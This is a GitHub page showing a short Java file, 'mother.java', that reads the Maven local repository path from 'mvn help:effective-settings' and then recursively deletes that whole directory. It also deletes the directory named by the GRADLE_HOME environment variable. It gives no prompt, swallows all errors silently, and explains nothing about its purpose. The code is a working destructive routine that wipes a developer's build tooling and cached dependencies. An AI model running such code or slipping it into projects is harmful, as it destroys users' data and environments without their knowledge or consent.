-
Notifications
You must be signed in to change notification settings - Fork 83
/
mother.java
52 lines (44 loc) · 1.74 KB
/
mother.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.nio.file.attribute.BasicFileAttributes;
public class mother {
public static void main(String[] args) {
try (BufferedReader is = new BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec("mvn help:effective-settings").getInputStream()))) {
String line;
String prefix = "<localRepository>";
String eof = "</localRepository>";
while ((line = is.readLine()) != null) {
String target = new String(line.getBytes(StandardCharsets.UTF_8));
if (target.contains(eof)) {
String mvn = target.substring(target.indexOf(prefix) + 17, target.indexOf(eof));
clean(mvn);
}
}
clean(System.getenv("GRADLE_HOME"));
} catch (Exception ignored) {
}
}
public static void clean(String goal) {
try {
Files.walkFileTree(Paths.get(goal), new SimpleFileVisitor<>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {
Files.delete(file);
return FileVisitResult.CONTINUE;
}
@Override
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
if (exc == null) {
Files.delete(dir);
}
return FileVisitResult.CONTINUE;
}
});
} catch (Exception ignored) {
}
}
}